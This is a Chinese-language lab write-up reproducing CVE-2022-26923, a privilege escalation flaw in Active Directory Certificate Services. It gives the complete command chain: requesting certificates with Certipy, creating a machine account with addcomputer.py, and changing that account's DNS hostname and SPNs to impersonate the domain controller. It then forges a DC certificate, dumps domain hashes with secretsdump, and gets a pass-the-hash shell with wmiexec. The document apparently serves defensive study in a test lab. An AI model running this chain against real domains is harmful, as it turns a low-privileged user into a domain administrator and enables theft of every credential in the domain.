目录
漏洞背景
2022年5月11日,微软发布5月份安全补丁更新,其中CVE-2022-26923漏洞引起了人们的注意,这是一个域内权限提升漏洞,该漏洞允许低特权用户在安装了活动目录证书服务(ADCS)的默认活动目录环境中将权限升级为域管理员。
该漏洞的存在是由于应用程序没有正确地对 Active Directory 域服务施加安全限制,当Active Directory证书服务在域上运行时,经过身份验证的攻击者可以在证书请求中包含特制的数据,然后从Active Directory证书服务中获取允许提升权限的证书,并将域中普通用户权限提升为域管理员权限。
影响范围
- Windows 8.1
- Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
- Windows 11
- Windows Server 2008,2012,2016,2019,2022
AD与AD 证书服务
AD
AD(Active Directory)是微软所提供的目录服务(查询,身份验证),活动目录的核心包含了活动目录数据库,在活动目录数据库中包含了域中所有的对象(用户、计算机、组…..),活动目录(Active Directory)是面向Windows Standard Server、Windows Enterprise Server以及Windows Datacenter Server的目录服务。
AD不仅用于身份和访问管理,还提供大量服务来帮助您运行和管理您的组织。其中许多服务鲜为人知或使用较少,这意味着在执行安全强化时他们经常被忽视。其中一项服务是Active Directory Certificate service AD证书服务(AD CS)。
AD 证书服务
AD CS 是 Microsoft的公钥基础结构(PKI)实施。由于AD在组织中提供了一定程度的信任,因此它可以用作CA来证明和委托信任。
AD CS用于多种用途,例如加密文件系统、创建和验证数字签名,甚至是用户身份验证,这也给攻击者提供了良好的攻击途径;因证书可以在凭证轮换中幸存下来,这意味着即使重置了受损帐号的密码,也不会使恶意生成的证书无效,从而提供长达10年的持续凭证盗窃!下图显示了证书请求和生成的流程。
环境搭建
安装好域环境后,域控继续安装Active Directory 证书服务
1. 选择 服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Directory 证书服务
点击两个下一步
一直下一步到安装完成。接着配置ADCS服务,只需要注意下面截图的内容,其他都是默认
ADCS配置完毕
漏洞复现
实验环境如下:
- 域名:test.lab
- 域控:win2016 IP: 192.168.10.2 机器名:DC
- 域内主机:win2012 IP: 192.168.10.4
- 攻击机:kali IP: 192.168.10.1
- 普通权限域账号:yuwin2012/yuwin2012.com
域内定位CA主机
在域内机器上执行
certutil -config - -ping
如果域控没有安装AD证书服务则会显示“找不到活动证书颁发机构”
否则弹出如下,CA名为“ test-DC-CA ”
kali配置dns
修改kali的/etc/hosts文件并添加以下条目:
格式为:域控地址 域控机器名.域名 证书名域名 域控机器名
域控地址 域控机器名.域名 CA名 域名 域控机器名
192.168.10.2 DC.test.lab test-DC-CA test.lab DC
测试证书生成
首先使用用户证书模板为我们的低权限域用户 (Username=yuwin2012、Password=yuwin2012.com) 生成证书:
使用Certipy——> https://github.com/ly4k/Certipy ,执行 python3 setup.py install 进行安装
certipy req '域名/域账户名:账户密码@域控主机名.域名' -ca CA名 -template User
certipy req 'test.lab/yuwin2012:[email protected]' -ca test-DC-CA -template User
验证此证书是否有效
让我们检查证书是否有效,以及它是否可以通过Certipy用于Kerberos身份验证
certipy auth -pfx yuwin2012.pfx
成功显示yuwin2012账户的ntlm hash
创建机器用户
使用addcomputer.py ——> https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py
创建一个机器用户:NEW_PC / Password123#
python3 addcomputer.py 'test.lab/yuwin2012:yuwin2012.com' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
域控中发现也已经成功创建
为机器账户生成证书
让我们为我们创建的新的机器账户'NEW_PC'生成一个证书。要使用所述计算机的机器帐户,您需要在名称末尾添加一个“$”
certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine
修改DNS Hostname和SPN属性
在域内主机yuwin2012上执行如下
powershell
#以管理员身份运行,安装所需环境
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
#修改DNShost属性,并移除SPN属性
Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Set-ADComputer NEW_PC -ServicePrincipalName @{}
Set-ADComputer NEW_PC -DnsHostName DC.test.lab
移除了SPN属性及将dnshost设置为了Dc
伪造恶意证书
kali上执行
certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine
生成dc.pfx
验证证书是否有效
certipy auth -pfx dc.pfx
返回hash,证书有效
导出域控hash
python3 secretsdump.py 'test.lab/[email protected]' -hashes :7300df37572d276cbb6b7e2d459e59e5
wmiexec.py连接域控
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 [email protected]
参考:
https://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services